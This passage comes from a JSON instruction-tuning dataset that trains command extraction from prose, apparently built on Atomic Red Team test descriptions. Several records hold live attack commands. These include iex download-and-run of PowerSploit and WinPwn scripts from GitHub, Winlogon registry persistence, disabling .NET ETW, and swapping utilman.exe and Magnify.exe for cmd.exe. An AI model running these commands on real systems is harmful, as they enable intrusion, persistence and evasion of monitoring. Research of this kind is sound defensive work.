combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking internet connectivity via ping on Windows, execute this command with the default Google Public DNS as target: ping -n 4 #{ping_target}; To verify your internet connection on Linux or macOS, you can use the following command: ping -c 4 #{ping_target}",
    "output": "{\"command_list\": [\"ping -n 4 #{ping_target}\\n\", \"ping -c 4 #{ping_target}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The bluekeep function in WinPwn can be used to scan for vulnerable Windows systems, which you can initiate with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nbluekeep -noninteractive -consoleoutput; To identify easily exploitable web applications, use the fruit function in WinPwn with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nfruit -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nbluekeep -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nfruit -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing packets using domain=AF_PACKET and type=SOCK_RAW over a short duration, execute this command: sudo #{program_path} -a -t 3; To capture TCP packets with domain AF_INET and type SOCK_RAW for a few seconds, use the following command: sudo #{program_path} -4 -p 6 -t 3",
    "output": "{\"command_list\": [\"sudo #{program_path} -a -t 3\\n\", \"sudo #{program_path} -4 -p 6 -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compile a C file using either gcc or clang on FreeBSD, Linux, or MacOS, run the following commands: gcc #{input_file} && ./a.out\nclang #{input_file} && ./a.out\n; You can compile your C file on FreeBSD, Linux, or macOS with these commands: g++ #{input_file} && ./a.out\nclang++ #{input_file} && ./a.out\n",
    "output": "{\"command_list\": [\"gcc #{input_file} && ./a.out\\nclang #{input_file} && ./a.out\\n\", \"g++ #{input_file} && ./a.out\\nclang++ #{input_file} && ./a.out\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script changes the registry to run cmd.exe at logon/logoff by executing: Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force; This PowerShell script modifies the registry to run cmd.exe at logon/logoff by executing: Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Shell\\\" \\\"explorer.exe, #{binary_to_execute}\\\" -Force\\n\", \"Set-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Userinit\\\" \\\"Userinit.exe, #{binary_to_execute}\\\" -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can disable .NET Framework ETW by setting the COMPlus_ETWEnabled environment variable to 0 via this registry command: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f. A reboot might be necessary afterwards.; The COMPlus_ETWEnabled environment variable can be set to 0 in the HKLM registry to disable ETW for .NET Framework, which is done via this PowerShell command: New-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. A system reboot might be necessary afterwards.",
    "output": "{\"command_list\": [\"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\\\" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f\", \"New-ItemProperty -Path \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\\\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique replaces the Ease of Access binary with cmd.exe, allowing for an elevated command prompt launch, via the following command:\nIF NOT EXIST C:\\Windows\\System32\\utilman_backup.exe (copy C:\\Windows\\System32\\utilman.exe C:\\Windows\\System32\\utilman_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\utilman.exe /A\nicacls C:\\Windows\\System32\\utilman.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\utilman.exe\n; To replace Magnify.exe with cmd.exe and enable an elevated command prompt via the Accessibility menu, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\Magnify_backup.exe (copy C:\\Windows\\System32\\Magnify.exe C:\\Windows\\System32\\Magnify_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Magnify.exe /A\nicacls C:\\Windows\\System32\\Magnify.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Magnify.exe\n",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\utilman_backup.exe (copy C:\\\\Windows\\\\System32\\\\utilman.exe C:\\\\Windows\\\\System32\\\\utilman_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\utilman.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\utilman.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\utilman.exe\\n\", \"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Magnify_backup.exe (copy C:\\\\Windows\\\\System32\\\\Magnify.exe C:\\\\Windows\\\\System32\\\\Magnify_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Magnify.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Magnify.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Magnify.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - 